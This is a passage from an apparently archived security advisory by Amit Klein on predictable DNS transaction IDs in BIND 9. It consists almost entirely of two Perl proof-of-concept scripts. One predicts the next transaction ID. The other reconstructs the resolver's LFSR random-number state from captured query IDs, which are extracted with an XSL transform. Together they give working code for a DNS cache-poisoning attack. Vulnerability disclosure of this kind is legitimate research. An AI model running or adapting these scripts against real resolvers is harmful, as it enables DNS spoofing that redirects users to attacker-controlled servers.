> select='field[@show="Queries"]/field/field[@name="dns.qry.name
> "]/@show' />
> <xsl:text></xsl:text>
> <xsl:value-of
> select='../proto[@name="udp"]/field[@name="udp.srcport"]/@value' />
> <xsl:text>
>
> </xsl:text>
> </xsl:template>
> </xsl:stylesheet>
>
> Appendix B BIND 9 simple prediction script
> # For BIND9 v9.2.3-9.4.1:
> $tap1=0x80000057;
> $tap2=0x80000062;
>
> # For BIND9 v9.0.0-9.2.2:
> # $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
> # $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
>
> $txid=hex($ARGV[0]);
>
> if (($txid & 1)!=0)
> {
>  die "lsb is not 0. Can't predict the next transaction ID.\n";
> }
>
> # One bit shift (assuming the two lsb's are 0 and 0)
> for ($msb=0;$msb<(1<<1);$msb++)
> {
>  push @cand,(($msb<<15)|($txid>>1)) & 0xFFFF;
> }
>
> # Two bit shift (assuming the two lsb's are 1 and 1)
> # First shift (we know the lsb is 1 in both LFSRs):
> $v=$txid;
> $v=($v>>1)^$tap1^$tap2;
> if (($v & 1)==0)
> {
> # After the first shift, the lsb becomes 0, so the two LFSRs now have
> # identical lsb's: 0 and 0 or 1 and 1
>  # Second shift:
>  $v1=($v>>1); # 0 and 0
>  $v2=($v>>1)^$tap1^$tap2; # 1 and 1
> }
> else
> {
>  # After the first shift, the lsb becomes 1, so the two LFSRs
> now have
> # different lsb's: 1 and 0 or 0 and 1
>  # Second shift:
>  $v1=($v>>1)^$tap1; # 1 and 0
>  $v2=($v>>1)^$tap2; # 0 and 1
> }
>
> # Also need to enumerate over the 2 msb's we are clueless about
> for ($msbits=0;$msbits<(1<<2);$msbits++)
> {
>  push @cand,(($msbits<<14)|$v1) & 0xFFFF;
>  push @cand,(($msbits<<14)|$v2) & 0xFFFF;
> }
>
> print"Predicting - the next transaction ID is one of: ";
> for (my $k=0;$k<10;$k++)
> {
>  printf "%04x ",$cand[$k];
> }
>
> exit(0);
>
>
>
>
>
>
> Appendix C BIND 9 PRNG reconstruction script
>
> # For BIND9 v9.2.3-9.4.1:
> $tap1=0x80000057;
> $tap2=0x80000062;
>
> # For BIND9 v9.0.0-9.2.2:
> # $tap1=0xc000002b; # (0x80000057>>1)|(1<<31)
> # $tap2=0xc0000061; # (0x800000c2>>1)|(1<<31)
>
> $initial_guess_bits=6;
> @cand_lfsr1=();
> @cand_lfsr2=();
>
> use Time::HiRes qw(gettimeofday);
>
> @txid=();
>
> # Read all data from file. It is assumed to be in the format
> generated
> # by the XSL transformation described in appendix A.
>
> $count=0;
> open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
> while(my $line=)
> {
>  # File format: TXID[4 hex] (ignore everything beyond those 4 digits)
>
>  if ($line=~/^([0-9a-fA-F]{4})/x)
>  {
>   push @txid,hex($1);
>   $count++;
>  }
>  else
>  {
>   die "ERROR: Can't parse line at count=$count.\n";
>  }
> }
> close(FD);
>
> print "INFO: Found $count DNS queries in file.\n";
>
> sub next_trxid
> {
>  my ($lfsr1,$lfsr2)=@_;
>  my $val;
>  for (my $i=0;$i<$count+1;$i++)
>  {
>   $val=($lfsr1^$lfsr2) & 0xFFFF;
>   $skip1=$lfsr1 & 1;
>   $skip2=$lfsr2 & 1;
>   for (my $j1=0;$j1<=$skip2;$j1++)
>   {
>    $lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
>   }
>   for (my $j2=0;$j2<=$skip1;$j2++)
>   {
>    $lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
>   }
>   #printf "%04x ",$val;
>  }
>  return $val;
> }
>
> sub verify
> {
>  my ($lfsr1,$width1,$lfsr2,$width2)=@_;
>
>  for (my $i=0;$i<$count;$i++)
>  {
>   my $cand=($lfsr1^$lfsr2) & 0xFFFF;
>   my $min_width=($width1<=$width2) ? $width1 : $width2;
>   $min_width=($min_width<=16) ? $min_width : 16;
>   if ($min_width<=0)
>   {
>    return 1;
>   }
>   my $mask=(1<<$min_width)-1;
>   if (($cand & $mask) != ($txid[$i] & $mask))
>   {
>    return 0;
>   }
>
>   $skip1=$lfsr1 & 1;
>   $skip2=$lfsr2 & 1;
>   for (my $j1=0;$j1<=$skip2;$j1++)
>   {
>    $lfsr1 = ($lfsr1>>1) ^ (($lfsr1 & 1)*$tap1);
>    if ($width1<32)
>    {
>     $width1--;
>    }
>   }
>   for (my $j2=0;$j2<=$skip1;$j2++)
>   {
>    $lfsr2 = ($lfsr2>>1) ^ (($lfsr2 & 1)*$tap2);
>    if ($width2<32)
>    {
>     $width2--;
>    }
>   }
>  }
>  return 1;
> }
>
> sub phase2
> {
>  my ($lfsr1,$width1,$lfsr2,$width2)=@_;
>
>  my $motion_detected=0;
>
>  if ($width1<32)
>  {
>   my $guess_0=verify($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2);
>   my $guess_1=verify($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
>   if ($guess_0 ^ $guess_1)
>   {
>    #Exactly one is correct. So we know the bit.
>    $motion_detected=1;
>    if ($guess_1)
>    {
>     $lfsr1=$lfsr1|(1<<$width1);
>    }
>    $width1++;
>   }
>   elsif ((!$guess_0) and (!$guess_1))
>   {
>    # Inconsistent state, hence wrong guess in the first place
>    return 0;
>   }
>  }
>
>  if ($width2<32)
>  {
>   my $guess_0=verify($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1);
>   my $guess_1=verify($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
>   if ($guess_0 ^ $guess_1)
>   {
>    #Exactly one is correct. So we know the bit.
>    $motion_detected=1;
>    if ($guess_1)
>    {
>     $lfsr2=$lfsr2|(1<<$width2);
>    }
>    $width2++;
>   }
>   elsif ((!$guess_0) and (!$guess_1))
>   {
>    # Inconsistent state, hence wrong guess in the first place
>    return 0;
>   }
>  }
>
>  if (($width1==32) and ($width2==32))
>  {
>   # Final verification
>   if (verify($lfsr1,32,$lfsr2,32))
>   {
>    push @cand_lfsr1,$lfsr1;
>    push @cand_lfsr2,$lfsr2;
>    return 1;
>   }
>   else
>   {
>    # false alarm
>    return 0;
>   }
>  }
>
>  if ($motion_detected)
>  {
>   # At least one width was improved.
>   return phase2($lfsr1,$width1,$lfsr2,$width2);
>  }
>  else
>  {
>   # Resort to bit guessing.
>   if ($width1<32)
>   {
>    # Guessing another bit in LFSR1 and continuing...
>    return
> phase2($lfsr1|(0<<$width1),$width1+1,$lfsr2,$width2)+
>     phase2($lfsr1|(1<<$width1),$width1+1,$lfsr2,$width2);
>   }
>   else
>   {
>    # Guessing another bit in LFSR2 and continuing...
>    return
> phase2($lfsr1,$width1,$lfsr2|(0<<$width2),$width2+1)+
>     phase2($lfsr1,$width1,$lfsr2|(1<<$width2),$width2+1);
>   }
>  }
> }
>
> my $start_time=gettimeofday();
>
> my $good=0;
>
> for (my $lfsr1=0;$lfsr1<(1<<$initial_guess_bits);$lfsr1++)
> {
>  my $lfsr2=($txid[0]^$lfsr1) & ((1<<$initial_guess_bits)-1);
>  if (verify($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits))
>  {
>   $good+=
> phase2($lfsr1,$initial_guess_bits,$lfsr2,$initial_guess_bits);
>  }
> }
>
> my $end_time=gettimeofday();
>
> print "INFO: ".$good." candidates found:\n";
> for (my $k=0;$k<$good;$k++)
> {
>  printf "*** LFSR1=0x%08x LFSR2=0x%08x Next_TRXID=0x%04x ***\n",
>   $cand_lfsr1[$k],$cand_lfsr2[$k],
> next_trxid($cand_lfsr1[$k],$cand_lfsr2[$k]);
> }
>
> print "INFO: Elapsed time: ".($end_time-$start_time)." seconds\n";
>
> exit(0);
>
>
> Additional Information:
> The information has been provided by Amit Klein
> <mailto:amit.klein@xxxxxxxxxxxx> .
> The original article can be found at:
> http://www.trusteer.com/docs/bind9dns.html
>
>
> ==============================================================



 




Copyright © Lexa Software, 1996-2009.